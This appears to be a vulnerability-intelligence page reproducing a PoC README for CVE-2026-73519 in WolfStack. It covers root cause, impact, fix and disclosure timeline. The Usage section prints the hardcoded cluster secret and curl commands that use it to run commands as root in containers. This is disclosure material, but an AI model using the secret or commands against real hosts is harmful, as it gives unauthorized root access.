🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码（仓库）。

📋 代码元数据语言md来源squeeze440/CVE-2026-73519-WolfStack-PoC针对性✅ 已验证与漏洞相关（代码含 CVE 引用）依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-73519 — WolfStack Hardcoded Cluster Secret → Unauthenticated RCE

PoC for a hardcoded default authentication secret in [WolfStack](https://github.com/wolfsoftwaresystemsltd/WolfStack) that lets a remote,unauthenticated attacker run arbitrary commands as root inside any managed Docker/LXC container.

||||---|---||**CVE** |
[CVE-2026-73519](https://www.cve.org/CVERecord?id=CVE-2026-73519) ||**CNA** |VulnCheck ||**Advisory** |[GHSA-r3mw-2wmq-j6jg](https://github.com/wolfsoftwaresystemsltd/WolfStack/security/advisories/GHSA-r3mw-2wmq-j6jg) · [VulnCheck writeup](https://vulncheck.com/advisories/wolfstack-hard-coded-secret-authentication-bypass-via-x-wolfstack-secret) ||**CVSS 3.1** |
9.8 Critical — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` ||**CWE** |CWE-798 (Hardcoded Credentials),CWE-306 (Missing Authentication for Critical Function) ||**Affected** |v25.9.0 and earlier / any node that hasn't completed the per-install secret migration ||**Fixed in** |v25.9.2 / v25.9.3 ||**Credit** |Dostxodjayev Abdullox ([@squeeze440](https://github.com/squeeze440)) |
## Root cause

`src/auth/mod.rs:32` ships a single hardcoded secret baked into every WolfStack build:

```rust
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";```

`auth::default_secret_accepted()` (`src/auth/mod.rs:430-460`) accepts this constant as a valid credential by default,
unless the operator has explicitly opted out (`WOLFSTACK_REJECT_DEFAULT_SECRET=1`) or already rotated to a custom secret. `api::require_auth()` (`src/api/mod.rs:518-535`),the single gate protecting the entire REST API,treats a request carrying a matching `X-WolfStack-Secret` header as fully authenticated — no session,no API key,
no account.

That gate protects `POST /api/containers/{runtime}/{id}/exec` (`src/api/mod.rs:7145-7167`),
which runs the caller-supplied command string verbatim inside the target container. Anyone who has read the public source (or this repo) can authenticate as a trusted cluster peer and execute arbitrary commands as root in any container the node manages.

The per-install secret auto-generation added this release cycle only fires for nodes with **no** existing secret file and **no** recorded peers (`src/auth/mod.rs:250-261`) — any upgraded node,
any node that hits the documented startup race,or any node with an unwritable config path stays on the shared default indefinitely,with only a log-line warning.

## Usage

Point `TARGET` and `CONTAINER` at a WolfStack instance and container you're authorized to test,
then:

```bash
./poc.sh http://TARGET:8553 CONTAINER_NAME
```

Or by hand:

```bash
# Unauthenticated — rejected
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" -d '{"command":"whoami"}'
# ->{"error":"Not authenticated"}HTTP 401

# Hardcoded secret from src/auth/mod.rs:32 — full RCE as root,
no login
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
  -H "Content-Type: application/json" \
  -H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
  -d '{"command":"id;hostname"}'
# ->{"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"}
HTTP 200
```

![PoC terminal output — unauthenticated request rejected,then the same request with the hardcoded X-WolfStack-Secret header returns root command output from inside the live container](evidence/poc_auth_bypass_exec.png)

Verified against the genuine,
checksum-verified `v25.9.0` release binary (sha256 `82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c`) with a real `alpine:latest` container as the target. The container ID in the response output matches `docker ps` on the victim host.

## Impact

- Enumerate every Docker/LXC container on the host (`/api/containers/docker`,`/api/containers/lxc`),
no auth.
- Run arbitrary commands as root inside any of them via the same header.
- The same bypass reaches every other `require_auth`-gated route (peer/node management,backups,etc.) — this PoC targets the container-exec sink as the clearest impact,
not an exhaustive list.

## Fix

Upgrade to v25.9.2 or later. The maintainer flipped the default-secret acceptance to reject-by-default and added a forced rotation path for existing installs.

## Disclosure timeline

- 2026-07-31 — Reported to the maintainer via GitHub Security Advisories.
- Maintainer shipped a fix in v25.9.2 / v25.9.3.
- 2026-08-08 — Submitted to VulnCheck for CVE assignment (already-public fast lane).
- 2026-08-16 — CVE-2026-73519 assigned by VulnCheck.

## Disclaimer

Published after the fix shipped and the CVE was assigned,
for defensive/educational use — verifying patch status on your own infrastructure. Do not run this against systems you don't own or have explicit authorization to test.

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议：

• 根据漏洞根因编写 Nuclei 检测模板
• 在 WAF/IDS 中配置针对漏洞特征的规则
• 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-17 03:03